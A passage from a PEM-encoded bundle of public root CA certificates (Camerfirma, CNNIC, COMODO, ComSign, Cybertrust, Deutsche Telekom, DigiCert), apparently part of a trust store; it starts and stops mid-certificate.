IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3
MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xKTAnBgNVBAMTIENoYW1iZXJz
IG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEyMjk1MFoXDTM4MDcz
MTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBj
dXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIw
EAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEp
MCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW9
28sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKAXuFixrYp4YFs8r/lfTJq
VKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorjh40G072Q
DuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR
5gN/ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfL
ZEFHcpOrUMPrCXZkNNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05a
Sd+pZgvMPMZ4fKecHePOjlO+Bd5gD2vlGts/4+EhySnB8esHnFIbAURRPHsl18Tl
UlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331lubKgdaX8ZSD6e2wsWsSaR6s
+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ0wlf2eOKNcx5
Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj
ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAx
hduub+84Mxh2EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNV
HQ4EFgQU+SSsD7K1+HnA+mCIG8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1
+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpN
YWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29t
L2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVy
ZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAt
IDIwMDiCCQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRV
HSAAMCowKAYIKwYBBQUHAgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20w
DQYJKoZIhvcNAQEFBQADggIBAJASryI1wqM58C7e6bXpeHxIvj99RZJe6dqxGfwW
PJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH3qLPaYRgM+gQDROpI9CF
5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbURWpGqOt1
glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaH
FoI6M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2
pSB7+R5KBWIBpih1YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MD
xvbxrN8y8NmBGuScvfaAFPDRLLmF9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QG
tjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcKzBIKinmwPQN/aUv0NCB9szTq
jktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvGnrDQWzilm1De
fhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg
OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZ
d0jQ
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID9zCCAt+gAwIBAgIESJ8AATANBgkqhkiG9w0BAQUFADCBijELMAkGA1UEBhMC
Q04xMjAwBgNVBAoMKUNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24g
Q2VudGVyMUcwRQYDVQQDDD5DaGluYSBJbnRlcm5ldCBOZXR3b3JrIEluZm9ybWF0
aW9uIENlbnRlciBFViBDZXJ0aWZpY2F0ZXMgUm9vdDAeFw0xMDA4MzEwNzExMjVa
Fw0zMDA4MzEwNzExMjVaMIGKMQswCQYDVQQGEwJDTjEyMDAGA1UECgwpQ2hpbmEg
SW50ZXJuZXQgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIxRzBFBgNVBAMMPkNo
aW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyIEVWIENlcnRp
ZmljYXRlcyBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm35z
7r07eKpkQ0H1UN+U8i6yjUqORlTSIRLIOTJCBumD1Z9S7eVnAztUwYyZmczpwA//
DdmEEbK40ctb3B75aDFk4Zv6dOtouSCV98YPjUesWgbdYavi7NifFy2cyjw1l1Vx
zUOFsUcW9SxTgHbP0wBkvUCZ3czY28Sf1hNfQYOL+Q2HklY0bBoQCxfVWhyXWIQ8
hBouXJE0bhlffxdpxWXvayHG1VA6v2G5BY3vbzQ6sm8UY78WO5upKv23KzhmBsUs
4qpnHkWnjQRmQvaPK++IIGmPMowUc9orhpFjIpryp9vOiYurXccUwVswah+xt54u
gQEC7c+WXmPbqOY4twIDAQABo2MwYTAfBgNVHSMEGDAWgBR8cks5x8DbYqVPm6oY
NJKiyoOCWTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4E
FgQUfHJLOcfA22KlT5uqGDSSosqDglkwDQYJKoZIhvcNAQEFBQADggEBACrDx0M3
j92tpLIM7twUbY8opJhJywyA6vPtI2Z1fcXTIWd50XPFtQO3WKwMVC/GVhMPMdoG
52U7HW8228gd+f2ABsqjPWYWqJ1MFn3AlUa1UeTiH9fqBk1jjZaM7+czV0I664zB
echNdn3e9rG3geCg+aF4RhcaVpjwTj2rHO3sOdwHSPdj/gauwqRcalsyiMXHM4Ws
ZkJHwlgkmeHlPuV1LI5D1l08eB6olYIpUNHRFrrvwb562bTYzB5MRuF3sTGrvSrI
zo9uoV1/A3U05K2JRVRevq4opbs/eHnrc7MKDf2+yfdWrPa37S+bISnHOLaVxATy
wy39FCqQmbkHzJ8=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJD
TjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2
MDcwOTE0WhcNMjcwNDE2MDcwOTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMF
Q05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzDo+/hn7E7SIX1mlwh
IhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tizVHa6
dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZO
V/kbZKKTVrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrC
GHn2emU1z5DrvTOTn1OrczvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gN
v7Sg2Ca+I19zN38m5pIEo3/PIKe38zrKy5nLAgMBAAGjczBxMBEGCWCGSAGG+EIB
AQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscCwQ7vptU7ETAPBgNVHRMB
Af8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991SlgrHAsEO
76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnK
OOK5Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvH
ugDnuL8BV8F3RTIMO/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7Hgvi
yJA/qIYM/PmLXoXLT1tLYhFHxUV8BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fL
buXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2G8kS1sHNzYDzAgE8yGnLRUhj
2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5mmxE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCB
gTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNV
BAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjEyMDEwMDAw
MDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3Jl
YXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01P
RE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0
aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3
UcEbVASY06m/weaKXTuH+7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI
2GqGd0S7WWaXUF601CxwRM/aN5VCaTwwxHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8
Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV4EajcNxo2f8ESIl33rXp
+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA1KGzqSX+
DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5O
nKVIrLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW
/zAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6g
PKA6hjhodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9u
QXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOCAQEAPpiem/Yb6dc5t3iuHXIY
SdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CPOGEIqB6BCsAv
IC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/
RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4
zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
BA6+C4OmF4O5MBKgxTMVBbkN+8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IB
ZQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTEL
MAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UE
BxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMT
IkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwMzA2MDAw
MDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdy
ZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09N
T0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSR
FtSrYpn1PlILBs5BAH+X4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0J
cfRK9ChQtP6IHG4/bC8vCVlbpVsLM5niwz2J+Wos77LTBumjQjBAMB0GA1UdDgQW
BBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VGFAkK+qDm
fQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdv
GDeAU/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCB
hTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNV
BAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMTE5
MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgT
EkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR
6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8X
pz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC
9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu/Nio5JIk2kNrYrhV
/erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEf
Zd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z
+pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7w
qP/0uK3pN/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZah
SL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVIC
u9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma/RMhnEw6abf
Fobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq/yapiq
crxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E
FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB
/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvl
wFTPoCWOAvn9sKIN9SCYPBMtrFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM
4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+nq6PK7o9mfjYcwlYRm6mnPTXJ9OV
2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSgtZx8jb8uk2Intzna
FxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwWsRqZ
CuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiK
boHGhfKppC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmcke
jkk9u+UJueBPSZI9FoJAzMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yL
S0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHqZJx64SIDqZxubw5lT2yHh17zbqD5daWb
QOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk527RH89elWsn2/x20Kk4yl
0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7ILaZRfyHB
NVOFBkpdn627G190
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDkzCCAnugAwIBAgIQFBOWgxRVjOp7Y+X8NId3RDANBgkqhkiG9w0BAQUFADA0
MRMwEQYDVQQDEwpDb21TaWduIENBMRAwDgYDVQQKEwdDb21TaWduMQswCQYDVQQG
EwJJTDAeFw0wNDAzMjQxMTMyMThaFw0yOTAzMTkxNTAyMThaMDQxEzARBgNVBAMT
CkNvbVNpZ24gQ0ExEDAOBgNVBAoTB0NvbVNpZ24xCzAJBgNVBAYTAklMMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8ORUaSvTx49qROR+WCf4C9DklBKK
8Rs4OC8fMZwG1Cyn3gsqrhqg455qv588x26i+YtkbDqthVVRVKU4VbirgwTyP2Q2
98CNQ0NqZtH3FyrV7zb6MBBC11PN+fozc0yz6YQgitZBJzXkOPqUm7h65HkfM/sb
2CEJKHxNGGleZIp6GZPKfuzzcuc3B1hZKKxC+cX/zT/npfo4sdAMx9lSGlPWgcxC
ejVb7Us6eva1jsz/D3zkYDaHL63woSV9/9JLEYhwVKZBqGdTUkJe5DSe5L6j7Kpi
Xd3DTKaCQeQzC6zJMw9kglcq/QytNuEMrkvF7zuZ2SOzW120V+x0cAwqTwIDAQAB
o4GgMIGdMAwGA1UdEwQFMAMBAf8wPQYDVR0fBDYwNDAyoDCgLoYsaHR0cDovL2Zl
ZGlyLmNvbXNpZ24uY28uaWwvY3JsL0NvbVNpZ25DQS5jcmwwDgYDVR0PAQH/BAQD
AgGGMB8GA1UdIwQYMBaAFEsBmz5WGmU2dst7l6qSBe4y5ygxMB0GA1UdDgQWBBRL
AZs+VhplNnbLe5eqkgXuMucoMTANBgkqhkiG9w0BAQUFAAOCAQEA0Nmlfv4pYEWd
foPPbrxHbvUanlR2QnG0PFg/LUAlQvaBnPGJEMgOqnhPOAlXsDzACPw1jvFIUY0M
cXS6hMTXcpuEfDhOZAYnKuGntewImbQKDdSFc8gS4TXt8QUxHXOZDOuWyt3T5oWq
8Ir7dcHyCTxlZWTzTNity4hp8+SDtwy9F1qWF8pb/627HOkthIDYIb6FUtnUdLlp
hbpN7Sgy6/lhSuTENh4Z3G+EER+V9YMoGKgzkkMn3V0TBEVPh9VGzT2ouvDzuFYk
Res3x+F2T3I5GN9+dHLHcy056mDmrRGiVod7w2ia/viMcKjfZTL0pECMocJEAw6U
AGegcQCCSA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDqzCCApOgAwIBAgIRAMcoRwmzuGxFjB36JPU2TukwDQYJKoZIhvcNAQEFBQAw
PDEbMBkGA1UEAxMSQ29tU2lnbiBTZWN1cmVkIENBMRAwDgYDVQQKEwdDb21TaWdu
MQswCQYDVQQGEwJJTDAeFw0wNDAzMjQxMTM3MjBaFw0yOTAzMTYxNTA0NTZaMDwx
GzAZBgNVBAMTEkNvbVNpZ24gU2VjdXJlZCBDQTEQMA4GA1UEChMHQ29tU2lnbjEL
MAkGA1UEBhMCSUwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGtWhf
HZQVw6QIVS3joFd67+l0Kru5fFdJGhFeTymHDEjWaueP1H5XJLkGieQcPOqs49oh
gHMhCu95mGwfCP+hUH3ymBvJVG8+pSjsIQQPRbsHPaHA+iqYHU4Gk/v1iDurX8sW
v+bznkqH7Rnqwp9D5PGBpX8QTz7RSmKtUxvLg/8HZaWSLWapW7ha9B20IZFKF3ue
Mv5WJDmyVIRD9YTC2LxBkMyd1mja6YJQqTtoz7VdApRgFrFD2UNd3V2Hbuq7s8lr
9gOUCXDeFhF6K+h2j0kQmHe5Y1yLM5d19guMsqtb3nQgJT/j8xH5h2iGNXHDHYwt
6+UarA9z1YJZQIDTAgMBAAGjgacwgaQwDAYDVR0TBAUwAwEB/zBEBgNVHR8EPTA7
MDmgN6A1hjNodHRwOi8vZmVkaXIuY29tc2lnbi5jby5pbC9jcmwvQ29tU2lnblNl
Y3VyZWRDQS5jcmwwDgYDVR0PAQH/BAQDAgGGMB8GA1UdIwQYMBaAFMFL7XC29z58
ADsAj8c+DkWfHl3sMB0GA1UdDgQWBBTBS+1wtvc+fAA7AI/HPg5Fnx5d7DANBgkq
hkiG9w0BAQUFAAOCAQEAFs/ukhNQq3sUnjO2QiBq1BW9Cav8cujvR3qQrFHBZE7p
iL1DRYHjZiM/EoZNGeQFsOY3wo3aBijJD4mkU6l1P7CW+6tMM1X5eCZGbxs2mPtC
dsGCuY7e+0X5YxtiOzkGynd6qDwJz2w2PQ8KRUtpFhpFfTMDZflScZAmlaxMDPWL
kz/MdXSFmLr/YnpNH4n+rr2UAJm/EaXc4HnFFgt9AmEd6oX5AhVP51qJThRv4zdL
hfXBPGHg/QVBspJ/wx2g0K5SZGBrGMYmnNj1ZOQ2GmKfig8+/21OGVZOIJFsnzQz
OjRXUDpvgV4GxvU+fE6OK85lBi5d0ipTdF7Tbieejw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYG
A1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2Jh
bCBSb290MB4XDTA2MTIxNTA4MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UE
ChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBS
b290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA+Mi8vRRQZhP/8NN5
7CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW0ozS
J8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2y
HLtgwEZLAfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iP
t3sMpTjr3kfb1V05/Iin89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNz
FtApD0mpSPCzqrdsxacwOUBdrsTiXSZT8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAY
XSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/
MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2MDSgMqAw
hi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3Js
MB8GA1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUA
A4IBAQBW7wojoFROlZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMj
Wqd8BfP9IjsO0QbE2zZMcwSO5bAi5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUx
XOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2hO0j9n0Hq0V+09+zv+mKts2o
omcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+TX3EJIrduPuoc
A06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW
WL1WMRJOEcgh4LMRkWXbtKaIOM5V
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDnzCCAoegAwIBAgIBJjANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJERTEc
MBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxlU2Vj
IFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290IENB
IDIwHhcNOTkwNzA5MTIxMTAwWhcNMTkwNzA5MjM1OTAwWjBxMQswCQYDVQQGEwJE
RTEcMBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxl
U2VjIFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290
IENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrC6M14IspFLEU
ha88EOQ5bzVdSq7d6mGNlUn0b2SjGmBmpKlAIoTZ1KXleJMOaAGtuU1cOs7TuKhC
QN/Po7qCWWqSG6wcmtoIKyUn+WkjR/Hg6yx6m/UTAtB+NHzCnjwAWav12gz1Mjwr
rFDa1sPeg5TKqAyZMg4ISFZbavva4VhYAUlfckE8FQYBjl2tqriTtM2e66foai1S
NNs671x1Udrb8zH57nGYMsRUFUQM+ZtV7a3fGAigo4aKSe5TBY8ZTNXeWHmb0moc
QqvF1afPaA+W5OFhmHZhyJF81j4A4pFQh+GdCuatl9Idxjp9y7zaAzTVjlsB9WoH
txa2bkp/AgMBAAGjQjBAMB0GA1UdDgQWBBQxw3kbuvVT1xfgiXotF2wKsyudMzAP
BgNVHRMECDAGAQH/AgEFMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOC
AQEAlGRZrTlk5ynrE/5aw4sTV8gEJPB0d8Bg42f76Ymmg7+Wgnxu1MM9756Abrsp
tJh6sTtU6zkXR34ajgv8HzFZMQSyzhfzLMdiNlXiItiJVbSYSKpk+tYcNthEeFpa
IzpXl/V6ME+un2pMSyuOoAPjPuCp1NJ70rOo4nI8rZ7/gFnkm0W09juwzTkZmDLl
6iFhkOQxIY40sfcvNUqFENrnijchvllj4PKFiDFT1FQUhXB59C4Gdyd1Lx+4ivn+
xbrYNuSD7Odlt79jWvNGr4GUN9RBjNYj1h7P9WgbRGOiWrqnNVmh5XAFmw4jV5mU
Cm26OWMohpLzGITY+9HPBVZkVw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBl
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv
b3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl
cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSA
n61UQbVH35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4Htecc
biJVMWWXvdMX0h5i89vqbFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9Hp
EgjAALAcKxHad3A2m67OeYfcgnDmCXRwVWmvo2ifv922ebPynXApVfSr/5Vh88lA
bx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OPYLfykqGxvYmJHzDNw6Yu
YjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+RnlTGNAgMB
AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQW
BBTOw0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPI
